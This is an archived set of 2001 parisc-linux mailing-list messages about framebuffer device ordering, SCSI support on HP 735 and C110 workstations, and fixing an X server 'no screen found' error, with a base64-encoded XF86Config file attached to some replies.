Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 07:35:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06052482A
	for <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 07:35:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16FyrJ-0001jQ-00; Mon, 17 Dec 2001 14:35:13 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1008589643.3c1ddb4b75583@nyepost.start.no>; from squawker@start.no on Mon, Dec 17, 2001 at 12:47:23PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13386

On Mon, Dec 17, 2001 at 12:47:23PM +0100, Andy Walker wrote:
> Both work fine, but the same weird thing with the frame buffer ordering
> occurred with the 725/100 as it did with the B132L last week. With the
> console set in the PDC to the built-in fb, the kernel starts to boot
> on that device, then finds the Coral first and continues to boot
> on that, calling it fb0. Setting the console in PDC to the Coral makes
> everything work properly - the system boots all the way on the Coral.

OK, we need to figure out how to order the fb devices properly.  Right
now, they're initialised in IO tree order.  On a gecko with a graphics
card in the expansion slot, the expansion grahics gets device 0 and the
inbuilt is device 1.  Clearly similar problems exist on other machines.

So could everyone who has two (or more!) graphics cards in their machine
send the two lines of dmesg which describe their graphics card in the
inventory / buswalk section, their machine type (B132, Gecko, etc)
and indicate whether or not it gets them in the right order currently.

Example (made up!):

4. Frobnitz Ultra Graphics (10) at 0xf8000000 [8/1], versions 0xa, 0x0, 0x77
13. Thunder II graphics GSA form (10) at 0xf4000000 [10/8], versions 0xa, 0x0, 0x77
J282, works

Thanks.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@interaccess.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: 735 and SCSI (was: Re: [parisc-linux] Firmware upgraded, STI console problem)]
Date: Mon, 17 Dec 2001 09:34:34 -0600
Lines: 70
Approved: news@gmane.org
Message-ID: <3C1E108A.40706@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------000505070603050006030708"
X-Trace: ger.gmane.org 1416620858 31740 80.91.229.3 (22 Nov 2014 01:47:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 08:35:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cactus.bheadley.org (d197.focal4.interaccess.com [207.208.139.197])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA138482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 08:35:50 -0700 (MST)
Original-Received: from interaccess.com (IDENT:7PLeIgcoJb94A8AqkOC61BIVcvXApy2P@localhost.localdomain [127.0.0.1])
	by cactus.bheadley.org (8.11.6/8.11.6) with ESMTP id fBHFYYj06715
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 09:34:43 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13387

This is a multi-part message in MIME format.
--------------000505070603050006030708
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Forgot to CC the list. Sorry!


-- 
____               .:.                 ____
Bryan W. Headley - bheadley@interaccess.com

--------------000505070603050006030708
Content-Type: message/rfc822;
 name="Re: 735 and SCSI (was: Re: [parisc-linux] Firmware upgraded, STI console problem)"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="Re: 735 and SCSI (was: Re: [parisc-linux] Firmware upgraded, STI console problem)"

>From - Mon Dec 17 09:32:07 2001
X-Mozilla-Status2: 00000000
Message-ID: <3C1E0FF1.60507@interaccess.com>
Date: Mon, 17 Dec 2001 09:32:01 -0600
From: "Bryan W. Headley" <bheadley@interaccess.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: Richard Hirst <rhirst@linuxcare.com>
Subject: Re: 735 and SCSI (was: Re: [parisc-linux] Firmware upgraded, STI console problem)
References: <1008253261.495.4.camel@beavis> <Pine.LNX.4.33.0112141351590.31282-100000@bob.ncssm.edu> <20011214225505.F27312@linuxcare.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Richard Hirst wrote:

> On Fri, Dec 14, 2001 at 01:58:03PM -0500, Phil Anderson wrote:
> 
>>so has _anyone_ gotten a 735 working or anything? I have 7 of them that
>>are taking up space in my dorm room, and two 755's under the desk that
>>server the same purpose...
>>
> 
> I believe some people have had 735 working using narrow SE disks on
> the same i/f as the CD.
> 


My guess is, the thing to do is merge the FW stuff from MkLinux driver 
and see what still works. Slight problem with that driver is it knows 
what hardware you have by what machine it determines you have. FW, 
Big/Little endian configurations figured out on the spot. It'd be better 
to recognize those attributes by examining the controller.

Since my C110 has a fast/wide, and so does my 735, I'm in the bad spot 
of never really having either machine fully boot up. The CDROM drive I 
have doesn't "like" RW discs, so I'd love to see someone stamp out a 
Woody-ish master that I can read from.




-- 
____               .:.                 ____
Bryan W. Headley - bheadley@interaccess.com


--------------000505070603050006030708--




From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation..... new problems..
Date: Mon, 17 Dec 2001 17:22:14 +0100 (CET)
Lines: 77
Approved: news@gmane.org
Message-ID: <1008606134.3c1e1bb653614@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="-MOQ10086061343609a61b720a1f43c1755fae8b0d6738"
X-Trace: ger.gmane.org 1416620858 31747 80.91.229.3 (22 Nov 2014 01:47:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:38 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: Maneesh Singhal <maneesh@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 09:29:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4EBA482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 09:29:38 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16G0Ws-0006Xj-00; Mon, 17 Dec 2001 17:22:14 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13388

This message is in MIME format.

---MOQ10086061343609a61b720a1f43c1755fae8b0d6738
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Hey Maneesh,

Quoting Maneesh Singhal <maneesh@india.hp.com>:

> On Sun, 16 Dec 2001, Joel Soete wrote:
> 
> > Hello Maneesh,
> > 
> > >        selection .. Bus reset detected ..." etc. etc.
> > 
> > This sound like a problem I met a time ago: the scsi chain was opened
> > (ie during test I forgot to reconnect the scsi terminator to my
> external
> > drive).
> > 
> > If a scsi terminator is well connected may be could it be defective
> (or
> > a one not corresponding to your scsi interface logicaly Single-Ended
> if
> > your CD is connected to the narrow single-ended conector)?
> 
> Thanx Joel,
> 
> 	Exactly this was the problem, my scsi cable was loose, and also
> 	didn't have the terminator.. Anyway, now I installed the system.

Nice to read.

> 
> 	One new question : I am unable to start my X , whenever I do 
> 	startx it says 
> 
> 	"Fatal Server Error :
> 	no screen found "
> 
> 	Can anybody tell me why it is happening so ??????
> 
> 	Also my machine is not able to connect to any other machine...
> 	though I configured the network !!!
> 
I am not a specialist of X but I attach my XF86Config file (just a one
previously put on this list but a bit changed for new XF86 release).

Two things are important:

    a. be sure that your mouse pointer device (here /dev/psaux) is not a pointer
to /dev/gpmdata (in fact that should not happen with psaux but well with mouse)

    b. be sure that the Modes at line 395 match your screen setting (at the boot
console CO[nfiguration] MO[nitor] would display you the actual monitor set up)
Also afaik the rest of the line had to commented out or removed because
switching  does not work.

Joel
        

 

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)

---MOQ10086061343609a61b720a1f43c1755fae8b0d6738
Content-Type: application/octet-stream; name="XF86Config"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="XF86Config"



---MOQ10086061343609a61b720a1f43c1755fae8b0d6738--



From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation..... new problems..
Date: Mon, 17 Dec 2001 17:43:43 +0100 (CET)
Lines: 88
Approved: news@gmane.org
Message-ID: <1008607423.3c1e20bf8aa88@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="-MOQ1008607423d1bc4ad52fd24d6e85ffd1f272bba255"
X-Trace: ger.gmane.org 1416620859 31754 80.91.229.3 (22 Nov 2014 01:47:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:39 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: Maneesh Singhal <maneesh@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 09:57:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85A00482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 09:57:12 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16G0rf-0002TE-00; Mon, 17 Dec 2001 17:43:43 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13389

This message is in MIME format.

---MOQ1008607423d1bc4ad52fd24d6e85ffd1f272bba255
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit


Hey Maneesh,

Sorry for the lack of config file but I just learn to use a webmail client ??

Thanks for your understand,

Joel

Quoting Maneesh Singhal <maneesh@india.hp.com>:

> On Sun, 16 Dec 2001, Joel Soete wrote:
> 
> > Hello Maneesh,
> > 
> > >        selection .. Bus reset detected ..." etc. etc.
> > 
> > This sound like a problem I met a time ago: the scsi chain was opened
> > (ie during test I forgot to reconnect the scsi terminator to my
> external
> > drive).
> > 
> > If a scsi terminator is well connected may be could it be defective
> (or
> > a one not corresponding to your scsi interface logicaly Single-Ended
> if
> > your CD is connected to the narrow single-ended conector)?
> 
> Thanx Joel,
> 
> 	Exactly this was the problem, my scsi cable was loose, and also
> 	didn't have the terminator.. Anyway, now I installed the system.

Nice to read.

> 
> 	One new question : I am unable to start my X , whenever I do 
> 	startx it says 
> 
> 	"Fatal Server Error :
> 	no screen found "
> 
> 	Can anybody tell me why it is happening so ??????
> 
> 	Also my machine is not able to connect to any other machine...
> 	though I configured the network !!!
> 
I am not a specialist of X but I attach my XF86Config file (just a one
previously put on this list but a bit changed for new XF86 release).

Two things are important:

    a. be sure that your mouse pointer device (here /dev/psaux) is not a pointer
to /dev/gpmdata (in fact that should not happen with psaux but well with mouse)

    b. be sure that the Modes at line 395 match your screen setting (at the boot
console CO[nfiguration] MO[nitor] would display you the actual monitor set up)
Also afaik the rest of the line had to commented out or removed because
switching  does not work.

Joel
        

 

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)

---MOQ1008607423d1bc4ad52fd24d6e85ffd1f272bba255
Content-Type: application/octet-stream; name="XF86Config"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="XF86Config"



---MOQ1008607423d1bc4ad52fd24d6e85ffd1f272bba255--



From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation..... new problems..
Date: Mon, 17 Dec 2001 17:54:20 +0100 (CET)
Lines: 335
Approved: news@gmane.org
Message-ID: <1008608060.3c1e233c0f042@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="-MOQ1008608060e08f1afdccc63cd0f3ba83b40e0f4412"
X-Trace: ger.gmane.org 1416620859 31760 80.91.229.3 (22 Nov 2014 01:47:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:39 +0000 (UTC)
Cc: Joel Soete <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: Maneesh Singhal <maneesh@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 10:07:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1C17482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 10:07:32 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16G11w-0006sE-00; Mon, 17 Dec 2001 17:54:20 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13390

This message is in MIME format.

---MOQ1008608060e08f1afdccc63cd0f3ba83b40e0f4412
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Hey Maneesh,

Quoting Maneesh Singhal <maneesh@india.hp.com>:

> On Sun, 16 Dec 2001, Joel Soete wrote:
> 
> > Hello Maneesh,
> > 
> > >        selection .. Bus reset detected ..." etc. etc.
> > 
> > This sound like a problem I met a time ago: the scsi chain was opened
> > (ie during test I forgot to reconnect the scsi terminator to my
> external
> > drive).
> > 
> > If a scsi terminator is well connected may be could it be defective
> (or
> > a one not corresponding to your scsi interface logicaly Single-Ended
> if
> > your CD is connected to the narrow single-ended conector)?
> 
> Thanx Joel,
> 
> 	Exactly this was the problem, my scsi cable was loose, and also
> 	didn't have the terminator.. Anyway, now I installed the system.

Nice to read.

> 
> 	One new question : I am unable to start my X , whenever I do 
> 	startx it says 
> 
> 	"Fatal Server Error :
> 	no screen found "
> 
> 	Can anybody tell me why it is happening so ??????
> 
> 	Also my machine is not able to connect to any other machine...
> 	though I configured the network !!!
> 
I am not a specialist of X but I attach my XF86Config file (just a one
previously put on this list but a bit changed for new XF86 release).

Two things are important:

    a. be sure that your mouse pointer device (here /dev/psaux) is not a pointer
to /dev/gpmdata (in fact that should not happen with psaux but well with mouse)

    b. be sure that the Modes at line 395 match your screen setting (at the boot
console CO[nfiguration] MO[nitor] would display you the actual monitor set up)
Also afaik the rest of the line had to commented out or removed because
switching  does not work.

Joel
        

 

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)

---MOQ1008608060e08f1afdccc63cd0f3ba83b40e0f4412
Content-Type: application/octet-stream; name="XF86Config"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="XF86Config"

CiMgRmlsZSBnZW5lcmF0ZWQgYnkgeGY4NmNvbmZpZy4KCiMKIyBDb3B5cmlnaHQgKGMpIDE5OTkg
YnkgVGhlIFhGcmVlODYgUHJvamVjdCwgSW5jLgojCiMgUGVybWlzc2lvbiBpcyBoZXJlYnkgZ3Jh
bnRlZCwgZnJlZSBvZiBjaGFyZ2UsIHRvIGFueSBwZXJzb24gb2J0YWluaW5nIGEKIyBjb3B5IG9m
IHRoaXMgc29mdHdhcmUgYW5kIGFzc29jaWF0ZWQgZG9jdW1lbnRhdGlvbiBmaWxlcyAodGhlICJT
b2Z0d2FyZSIpLAojIHRvIGRlYWwgaW4gdGhlIFNvZnR3YXJlIHdpdGhvdXQgcmVzdHJpY3Rpb24s
IGluY2x1ZGluZyB3aXRob3V0IGxpbWl0YXRpb24KIyB0aGUgcmlnaHRzIHRvIHVzZSwgY29weSwg
bW9kaWZ5LCBtZXJnZSwgcHVibGlzaCwgZGlzdHJpYnV0ZSwgc3VibGljZW5zZSwKIyBhbmQvb3Ig
c2VsbCBjb3BpZXMgb2YgdGhlIFNvZnR3YXJlLCBhbmQgdG8gcGVybWl0IHBlcnNvbnMgdG8gd2hv
bSB0aGUKIyBTb2Z0d2FyZSBpcyBmdXJuaXNoZWQgdG8gZG8gc28sIHN1YmplY3QgdG8gdGhlIGZv
bGxvd2luZyBjb25kaXRpb25zOgojIAojIFRoZSBhYm92ZSBjb3B5cmlnaHQgbm90aWNlIGFuZCB0
aGlzIHBlcm1pc3Npb24gbm90aWNlIHNoYWxsIGJlIGluY2x1ZGVkIGluCiMgYWxsIGNvcGllcyBv
ciBzdWJzdGFudGlhbCBwb3J0aW9ucyBvZiB0aGUgU29mdHdhcmUuCiMgCiMgVEhFIFNPRlRXQVJF
IElTIFBST1ZJREVEICJBUyBJUyIsIFdJVEhPVVQgV0FSUkFOVFkgT0YgQU5ZIEtJTkQsIEVYUFJF
U1MgT1IKIyBJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIFRIRSBXQVJSQU5U
SUVTIE9GIE1FUkNIQU5UQUJJTElUWSwKIyBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9T
RSBBTkQgTk9OSU5GUklOR0VNRU5ULiAgSU4gTk8gRVZFTlQgU0hBTEwKIyBUSEUgWEZSRUU4NiBQ
Uk9KRUNUIEJFIExJQUJMRSBGT1IgQU5ZIENMQUlNLCBEQU1BR0VTIE9SIE9USEVSIExJQUJJTElU
WSwKIyBXSEVUSEVSIElOIEFOIEFDVElPTiBPRiBDT05UUkFDVCwgVE9SVCBPUiBPVEhFUldJU0Us
IEFSSVNJTkcgRlJPTSwgT1VUIE9GCiMgT1IgSU4gQ09OTkVDVElPTiBXSVRIIFRIRSBTT0ZUV0FS
RSBPUiBUSEUgVVNFIE9SIE9USEVSIERFQUxJTkdTIElOIFRIRQojIFNPRlRXQVJFLgojIAojIEV4
Y2VwdCBhcyBjb250YWluZWQgaW4gdGhpcyBub3RpY2UsIHRoZSBuYW1lIG9mIHRoZSBYRnJlZTg2
IFByb2plY3Qgc2hhbGwKIyBub3QgYmUgdXNlZCBpbiBhZHZlcnRpc2luZyBvciBvdGhlcndpc2Ug
dG8gcHJvbW90ZSB0aGUgc2FsZSwgdXNlIG9yIG90aGVyCiMgZGVhbGluZ3MgaW4gdGhpcyBTb2Z0
d2FyZSB3aXRob3V0IHByaW9yIHdyaXR0ZW4gYXV0aG9yaXphdGlvbiBmcm9tIHRoZQojIFhGcmVl
ODYgUHJvamVjdC4KIwoKIyAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqCiMgUmVmZXIgdG8gdGhlIFhGODZDb25maWco
NC81KSBtYW4gcGFnZSBmb3IgZGV0YWlscyBhYm91dCB0aGUgZm9ybWF0IG9mIAojIHRoaXMgZmls
ZS4KIyAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqCgojICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioKIyBNb2R1bGUgc2VjdGlvbiAtLSB0
aGlzICBzZWN0aW9uICBpcyB1c2VkIHRvIHNwZWNpZnkKIyB3aGljaCBkeW5hbWljYWxseSBsb2Fk
YWJsZSBtb2R1bGVzIHRvIGxvYWQuCiMgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgojClNlY3Rpb24gIk1vZHVsZSIK
CiMgVGhpcyBsb2FkcyB0aGUgREJFIGV4dGVuc2lvbiBtb2R1bGUuCgogICAgTG9hZCAgICAgICAg
ImRiZSIgIAkjIERvdWJsZSBidWZmZXIgZXh0ZW5zaW9uCgojIFRoaXMgbG9hZHMgdGhlIG1pc2Nl
bGxhbmVvdXMgZXh0ZW5zaW9ucyBtb2R1bGUsIGFuZCBkaXNhYmxlcwojIGluaXRpYWxpc2F0aW9u
IG9mIHRoZSBYRnJlZTg2LURHQSBleHRlbnNpb24gd2l0aGluIHRoYXQgbW9kdWxlLgogICAgU3Vi
U2VjdGlvbiAgImV4dG1vZCIKICAgICAgT3B0aW9uICAgICJvbWl0IHhmcmVlODYtZGdhIiAgICMg
ZG9uJ3QgaW5pdGlhbGlzZSB0aGUgREdBIGV4dGVuc2lvbgogICAgRW5kU3ViU2VjdGlvbgoKIyBU
aGlzIGxvYWRzIHRoZSBUeXBlMSBhbmQgRnJlZVR5cGUgZm9udCBtb2R1bGVzCiAgICBMb2FkICAg
ICAgICAidHlwZTEiCiAgICBMb2FkICAgICAgICAiZnJlZXR5cGUiCgojIFRoaXMgbG9hZHMgdGhl
IEdMWCBtb2R1bGUKIyAgICBMb2FkICAgICAgICJnbHgiCgpFbmRTZWN0aW9uCgojICoqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioKIyBGaWxlcyBzZWN0aW9uLiAgVGhpcyBhbGxvd3MgZGVmYXVsdCBmb250IGFuZCByZ2Ig
cGF0aHMgdG8gYmUgc2V0CiMgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgoKU2VjdGlvbiAiRmlsZXMiCgojIFRoZSBs
b2NhdGlvbiBvZiB0aGUgUkdCIGRhdGFiYXNlLiAgTm90ZSwgdGhpcyBpcyB0aGUgbmFtZSBvZiB0
aGUKIyBmaWxlIG1pbnVzIHRoZSBleHRlbnNpb24gKGxpa2UgIi50eHQiIG9yICIuZGIiKS4gIFRo
ZXJlIGlzIG5vcm1hbGx5CiMgbm8gbmVlZCB0byBjaGFuZ2UgdGhlIGRlZmF1bHQuCgogICAgUmdi
UGF0aAkiL3Vzci9YMTFSNi9saWIvWDExL3JnYiIKCiMgTXVsdGlwbGUgRm9udFBhdGggZW50cmll
cyBhcmUgYWxsb3dlZCAod2hpY2ggYXJlIGNvbmNhdGVuYXRlZCB0b2dldGhlciksCiMgYXMgd2Vs
bCBhcyBzcGVjaWZ5aW5nIG11bHRpcGxlIGNvbW1hLXNlcGFyYXRlZCBlbnRyaWVzIGluIG9uZSBG
b250UGF0aAojIGNvbW1hbmQgKG9yIGEgY29tYmluYXRpb24gb2YgYm90aCBtZXRob2RzKQojIAoj
IElmIHlvdSBkb24ndCBoYXZlIGEgZmxvYXRpbmcgcG9pbnQgY29wcm9jZXNzb3IgYW5kIGVtYWNz
LCBNb3NhaWMgb3Igb3RoZXIKIyBwcm9ncmFtcyB0YWtlIGxvbmcgdG8gc3RhcnQgdXAsIHRyeSBt
b3ZpbmcgdGhlIFR5cGUxIGFuZCBTcGVlZG8gZGlyZWN0b3J5CiMgdG8gdGhlIGVuZCBvZiB0aGlz
IGxpc3QgKG9yIGNvbW1lbnQgdGhlbSBvdXQpLgojIAoKIyAgICBGb250UGF0aCAgICIvdXNyL1gx
MVI2L2xpYi9YMTEvZm9udHMvbG9jYWwvIgogICAgRm9udFBhdGggICAiL3Vzci9YMTFSNi9saWIv
WDExL2ZvbnRzL21pc2MvIgogICAgRm9udFBhdGggICAiL3Vzci9YMTFSNi9saWIvWDExL2ZvbnRz
Lzc1ZHBpLzp1bnNjYWxlZCIKICAgIEZvbnRQYXRoICAgIi91c3IvWDExUjYvbGliL1gxMS9mb250
cy8xMDBkcGkvOnVuc2NhbGVkIgogICAgRm9udFBhdGggICAiL3Vzci9YMTFSNi9saWIvWDExL2Zv
bnRzL1R5cGUxLyIKICAgIEZvbnRQYXRoICAgIi91c3IvWDExUjYvbGliL1gxMS9mb250cy9TcGVl
